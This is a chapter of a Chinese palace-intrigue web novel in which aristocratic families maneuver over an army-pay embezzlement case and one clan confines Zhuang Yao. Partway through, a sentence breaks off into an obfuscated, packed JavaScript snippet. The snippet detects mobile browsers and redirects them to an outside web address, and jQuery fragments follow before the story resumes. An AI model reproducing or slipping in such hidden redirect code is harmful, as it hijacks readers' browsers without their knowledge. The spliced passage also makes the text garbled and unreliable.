他将证据给陛下送去,继续专注自己手里的事。
他好不容易从朝堂脱身,可不想在此刻被卷进去重蹈覆辙,况且,还不到他回归的时候。
审理、监察、复核……
最终在各方的极限拉扯下,一份详细的奏报呈现在陛下面前,江恒有罪,死罪,但并非罪大恶极。
世家确实把这个替罪羊运用到了极致,一桩桩一件件皆有理有据。
但唯独一件,世家穷尽一切仍存漏洞。
边饷案。一切的起源。
也许刺杀许文斌真是他所为,也许那些骄纵跋扈什么的也确有其事,但克扣军饷以次充好等等,根本不是江恒能做出来的事。时间地点人物目的,江恒每一样都不满足。
怎么办?没人知道。本以为三司会审可以接机洗白他们做的那些肮脏事,却没想到这平静的水面下,躺着一只鲨鱼。他们成功了,但又落入了更大的陷阱。
“还请诸位家主早做决断。”关键时候,他们又把那些老家伙们抬了上来。
决断什么?三个老者互相看了看,眼前的局面早已不是他们所能控制的了。
就像他们未曾料到陛下的真实目的一样,他们也未曾想到,有一天会被小辈夺了权。
“边饷贪墨一事必须断,而且要断个干净,彻底。”
“怎么断?那么大的事,谁来抗?谁能抗?”
“自然是谁惹出来的麻烦谁解决,难道还能拖别人下水?”
……
“够了!”江元煦将茶杯重重的放在桌子上。
“四家一荣俱荣一损俱损,若是有人想要明哲保身,就别怪老夫不顾念旧情。”
“老哥哥莫气,此事确实该断,但需从长计议。你们就都先散了吧。”许成业出面打圆场,顺便把小辈们都撵走了。
屋内只剩下四个人。
没人知道他们谈了什么,但在他们密谈的时候,一些小道消息在世家内部悄悄散开了。
“听说了吗?”
“什么什么?”
“据说林原初今早拿了一些账本,好像是许文斌给的。”
“嗐,就这啊,我早听说了。许文斌都撂了,要我说许家这少爷可真不是东西,主家养他长大还委以重任,最后竟说卖就卖了。”
“你怎么知道的这么细?”
“我姨家的二大爷的……反正你懂的,总之消息保真,爱信不信。”
“啧。”
江远头疼的看着面前的纸条,外面传的沸沸扬扬,他觉得应该做些什么,但林原初今早确实调取了很多记档。消息是真的。
所以,许文斌到底是不是真的全说了。他无法判断,他必须做好最坏的打算。
这一次,他们又要牺牲谁呢?他不知道,也不想知道。他只知道自己一直在被人推着往前走,像个提线木偶。
他真的好累啊。
“远儿。”深夜,江元煦突然来到了江远的住所。
“祖父有何吩咐。”江远恭敬地将人送上主位,自己垂手等候着。
“你成婚多年,是该有个孩子了。”
江远钝住,他好像有点猜到他们今天都谈了些什么了。
“祖父可是觉得无人承欢膝下?父亲前些日子又纳了几房。”江远在刻意回避这件事。
“那个混账!”提起江远的爹,江元煦就气不打一处来。激动地一直敲打着地面。江远见状默默端来一杯茶帮人顺气。
“顾左右而言他,你不想要嫡子?”
“祖父莫气,此事实乃天意,孙儿也无法左右。”他不是不想要,是不能。
相处多年,江远自然知道庄瑶身边那几个近侍个个都不是善茬,他更知道庄瑶每次都趁他不在偷偷进他的书房,但他不能动,他必须当做什么都不知道。因为庄瑶代表的是陛下。至于孩子,江远连想都不敢想,那是世家的催命符,一个不慎便会送命。
“罢了,你若无事,可以多去王府走动走动。”江元煦也只此事不可强求,只得作罢了。
“孙儿明白,听说过几日靖之兄要回王府,我已经和瑶儿说好了,陪她一起回去。”江远眯着眼睛。果然,他们又把主意打到了庄岱辰身上。是上次见江恒给他们造成的错觉吗?可那次世家做的这么绝,庄岱辰怎么可能再回头。
江元煦离开了。
庄岱辰回来那日,江远和庄瑶备了礼去了季王府。
饭桌上,江远几次想开口都被庄岱辰一个眼神挡了回来,他们各有各的心思,但他们的对话始终停留于表面,未曾越过一步。
“江远,江家也好,四家也罢,你们有什么打算我不管,但只一点,什么能做什么不能做,我希望你们有些分寸。”庄岱辰在喂池子里的鱼。
“殿下是在暗示什么吗?”江远垂下眼眸。
“随你怎么理解。你要保江家,可以,我给你这个机会,但能不能把握住就看你自己了。”庄岱辰将手中最后一把鱼食撒出去,看着鱼儿争先恐后的抢食,又在鱼食被吃干抹净后一哄而散。
“多谢殿下。”江远拱手一礼。
“别谢我。你可曾想过,事发之后你要如何自处?”庄岱辰不受这个礼。他背着手看着面前的人。
外人只知江远利用庄瑶见到了江恒,却不知江远用庄瑶的自由和其他世家的罪证换江家被保全。清醒,冷血,也够狠。可惜了。
“那就是我自己的事了,不劳殿下费心。”如果说舍弃江恒的那一刻,江远是迷茫的,那之后见得那一面,江远就彻底清醒了。他不愿再过这样的生活,既然无法转圜,那就掀了这盘棋,重开一局。
两人都各自离开了。庄岱辰回了他的府邸,易安已经在庭院内等着了。
“盯着江远。”庄岱辰没解释,他走进书房写了封信,然后命易安送进宫交给陛下。
而另一边,江远向江元煦转达了庄岱辰的意思。
“所以,他答应肯放我们一马?”江元煦有些不信。
“是,但此事必须有个合理的说法。并且,他要我与郡主和离。”江远重点强调了一下和离二字。
“看来庄瑶确实在陛下和庄岱辰面前很有分量。”江元煦皱着的眉头终于舒展开来,他们之前果然没猜错。
“你下去吧,我们还需要再商议一下。”
有这样一张牌在手,此事似乎还有很多余地。
江远的动作不可谓不快,第二日林原初便呈上了证据,那是许文斌经手的账本,里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418370|200718||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面还夹杂着许家的密信。
然后是吏部,御史台查阅了历年的考课记档,发现历任边饷督运官的考课都有些问题,甚至还有相应的佐证证明吏部与这些人达成了交易。
至于这些证据是怎么来的,一部分是庄岱辰查的,一部分是林原初他们查的,还有一部分,是江远给的投名状。
此事江家涉及的不深,江怀死后江家在户部无人可用,没想到竟意外让他们躲过一劫。
江远静静地看着这场闹剧,他好像突然能理解陛下了。尾大不掉,他们担忧的一直都不是现在,而是那遥远的未来。
现在的世家自然可以相安无事,可以后呢?总有分歧。与其等那一天到来不如打破这一切重新建立新的规则。
他要让世家重新洗白,哪怕代价惨重,自己背上千古骂名。那是他幼时和江恒讨论过的未来,也是他丢掉又失而复得的珍宝。
“陛下咬的太紧了,我们必须做些什么。”最先着急的是许家。
“推个人出去转移视线?”
“你有合适的人选?”
“我们不是还有一张牌吗?”沈成和突然提醒道。
“怎么用?”
“人在我们手中,还愁没有办法吗?”
“会不会太冒险了。”许成业有些犹豫。
“我说世叔,我们可都是在帮你想办法,你这个时候退缩,是要看着许家灭亡吗?”柳毅博最看不惯这些弯弯绕绕,磨磨唧唧的。
“江哥怎么说?那毕竟是江远的夫人。”问题被抛回。
“可行,但要注意分寸。”江元煦可以不在乎庄瑶,但不能不在乎庄岱辰和陛下。
这一日,庄瑶跟往常一样出门,却被门口的侍卫拦住。
“少夫人,家主有令,不许少夫人离开此地。还请少夫人莫要为难小的。”
“这是打算软禁我?”庄瑶面上依然挂着笑,但眼中却透着冷。终于到这一天了啊。
她就说哪里觉得奇怪,原来江元煦特意把江远叫走,是为了此刻。
侍女在给她使眼色问要不要突围,庄瑶轻轻的摇了摇头。这才刚开始,她倒是好奇这帮人究竟想做什么。
“去搬把椅子来。”庄瑶只是坐在门口处,等着。
守门的侍卫欲言又止,互相张望着。
“怎么?这也不行?”庄瑶挑眉。
“小的不敢。”
“江少夫人,当真是好大的架子啊。”一道声音从庄瑶身后传来。
“有事?”庄瑶没动,甚至头也没回。
“自然,不知少夫人可愿移步屋内详谈?”是许夫人,许成业的长媳。
“不愿。”许家,看来和最近发生的事有关。庄瑶明了,既然猜到了目的,那便该结束了。
“你你你。”许家那位指着庄瑶的鼻子气的发抖。
“我就在这里,你要如何?”庄瑶站起身,一步一步走进,同时握上人伸出来的那根手指,轻轻地掰了掰。“让我想想,你们一般是怎么对付人的来着?下药作践人?还是又打算以立规矩为名行惩戒之事?”
“你是不是忘了,我是谁?谁准许你们将注意打到我身上的?”庄瑶猛地松开手推了一下,冷眼扫过四周的人。